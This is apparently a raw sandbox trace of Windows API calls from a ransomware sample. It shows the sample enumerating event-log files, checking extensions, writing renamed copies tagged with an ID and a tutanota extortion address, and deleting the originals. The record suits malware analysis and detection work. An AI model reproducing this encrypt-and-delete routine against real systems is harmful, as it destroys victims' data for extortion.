(lpString=".ppt") returned 4 [0204.388] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.388] lstrlenW (lpString=".zip") returned 4 [0204.388] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString=".rar") returned 4 [0204.388] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString=".bz2") returned 4 [0204.388] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString=".7z") returned 3 [0204.388] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.388] lstrlenW (lpString=".dbf") returned 4 [0204.388] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.388] lstrlenW (lpString=".1cd") returned 4 [0204.388] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.388] lstrlenW (lpString=".jpg") returned 4 [0204.388] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.388] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString=".doc") returned 4 [0204.389] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".docx") returned 5 [0204.389] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.389] lstrlenW (lpString=".pdf") returned 4 [0204.389] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".xls") returned 4 [0204.389] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".xlsx") returned 5 [0204.389] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.389] lstrlenW (lpString=".ppt") returned 4 [0204.389] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString=".zip") returned 4 [0204.389] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".rar") returned 4 [0204.389] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".bz2") returned 4 [0204.389] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString=".7z") returned 3 [0204.389] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString=".dbf") returned 4 [0204.389] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString=".1cd") returned 4 [0204.389] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 56 [0204.389] lstrlenW (lpString=".jpg") returned 4 [0204.390] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.390] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.390] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0204.390] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0204.390] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=1052672) returned 1 [0204.390] CloseHandle (hObject=0x320) returned 1 [0204.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0204.390] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.390] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0204.391] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.391] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.391] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0204.396] GetLastError () returned 0x0 [0204.396] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0204.823] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0204.840] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x1010, lpOverlapped=0x0) returned 1 [0204.847] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x1020, lpOverlapped=0x0) returned 1 [0205.320] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.321] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x170, lpOverlapped=0x0) returned 1 [0205.321] SetEndOfFile (hFile=0x358) returned 1 [0205.515] CloseHandle (hObject=0x358) returned 1 [0205.539] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.539] SetEndOfFile (hFile=0x320) returned 1 [0205.543] CloseHandle (hObject=0x320) returned 1 [0205.543] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.543] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0205.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.544] lstrlenW (lpString=".doc") returned 4 [0205.544] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".docx") returned 5 [0205.544] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.544] lstrlenW (lpString=".pdf") returned 4 [0205.544] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".xls") returned 4 [0205.544] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".xlsx") returned 5 [0205.544] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.544] lstrlenW (lpString=".ppt") returned 4 [0205.544] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.544] lstrlenW (lpString=".zip") returned 4 [0205.544] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".rar") returned 4 [0205.544] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".bz2") returned 4 [0205.544] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.544] lstrlenW (lpString=".7z") returned 3 [0205.544] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.544] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString=".dbf") returned 4 [0205.545] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString=".1cd") returned 4 [0205.545] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString=".jpg") returned 4 [0205.545] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString=".doc") returned 4 [0205.545] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString=".docx") returned 5 [0205.545] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.545] lstrlenW (lpString=".pdf") returned 4 [0205.545] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString=".xls") returned 4 [0205.545] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString=".xlsx") returned 5 [0205.545] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.545] lstrlenW (lpString=".ppt") returned 4 [0205.545] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.545] lstrlenW (lpString=".zip") returned 4 [0205.545] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.545] lstrlenW (lpString=".rar") returned 4 [0205.545] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.546] lstrlenW (lpString=".bz2") returned 4 [0205.546] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.546] lstrlenW (lpString=".7z") returned 3 [0205.546] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.546] lstrlenW (lpString=".dbf") returned 4 [0205.546] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.546] lstrlenW (lpString=".1cd") returned 4 [0205.546] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0205.546] lstrlenW (lpString=".jpg") returned 4 [0205.546] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.546] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.546] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49 [0205.546] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.546] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0205.547] CloseHandle (hObject=0x320) returned 1 [0205.547] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20 [0205.547] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.547] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.547] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.547] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.547] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0205.547] GetLastError () returned 0x0 [0205.547] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.707] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.730] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.730] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x136, lpOverlapped=0x0) returned 1 [0205.730] SetEndOfFile (hFile=0x358) returned 1 [0205.730] CloseHandle (hObject=0x358) returned 1 [0205.733] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.733] SetEndOfFile (hFile=0x320) returned 1 [0205.734] CloseHandle (hObject=0x320) returned 1 [0205.734] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.734] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1 [0205.734] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.735] lstrlenW (lpString=".doc") returned 4 [0205.735] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".docx") returned 5 [0205.735] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.735] lstrlenW (lpString=".pdf") returned 4 [0205.735] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".xls") returned 4 [0205.735] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".xlsx") returned 5 [0205.735] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.735] lstrlenW (lpString=".ppt") returned 4 [0205.735] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.735] lstrlenW (lpString=".zip") returned 4 [0205.735] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".rar") returned 4 [0205.735] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".bz2") returned 4 [0205.735] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString=".7z") returned 3 [0205.735] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.735] lstrlenW (lpString=".dbf") returned 4 [0205.735] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.735] lstrlenW (lpString=".1cd") returned 4 [0205.735] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.735] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.736] lstrlenW (lpString=".jpg") returned 4 [0205.736] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.736] lstrlenW (lpString=".doc") returned 4 [0205.736] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".docx") returned 5 [0205.736] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.736] lstrlenW (lpString=".pdf") returned 4 [0205.736] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".xls") returned 4 [0205.736] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".xlsx") returned 5 [0205.736] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.736] lstrlenW (lpString=".ppt") returned 4 [0205.736] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.736] lstrlenW (lpString=".zip") returned 4 [0205.736] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".rar") returned 4 [0205.736] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".bz2") returned 4 [0205.736] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.736] lstrlenW (lpString=".7z") returned 3 [0205.736] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.736] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.736] lstrlenW (lpString=".dbf") returned 4 [0205.737] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.737] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.737] lstrlenW (lpString=".1cd") returned 4 [0205.737] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.737] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57 [0205.737] lstrlenW (lpString=".jpg") returned 4 [0205.737] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.737] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.737] lstrlenW (lpString="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 56 [0205.737] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.737] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=69632) returned 1 [0205.737] CloseHandle (hObject=0x320) returned 1 [0205.737] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20 [0205.738] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.738] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0205.738] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.738] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.738] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0205.738] GetLastError () returned 0x0 [0205.738] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.749] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.751] ReadFile (in: hFile=0x320, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.751] WriteFile (in: hFile=0x358, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x144, lpOverlapped=0x0) returned 1 [0205.751] SetEndOfFile (hFile=0x358) returned 1 [0205.751] CloseHandle (hObject=0x358) returned 1 [0205.754] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.754] SetEndOfFile (hFile=0x320) returned 1 [0205.760] CloseHandle (hObject=0x320) returned 1 [0205.760] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.760] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 1 [0205.760] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.760] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.760] lstrlenW (lpString=".doc") returned 4 [0205.760] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.760] lstrlenW (lpString=".docx") returned 5 [0205.760] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.761] lstrlenW (lpString=".pdf") returned 4 [0205.761] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString=".xls") returned 4 [0205.761] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString=".xlsx") returned 5 [0205.761] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.761] lstrlenW (lpString=".ppt") returned 4 [0205.761] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.761] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx") returned 64 [0205.761] lstrlenW (lpString=".zip") returned 4 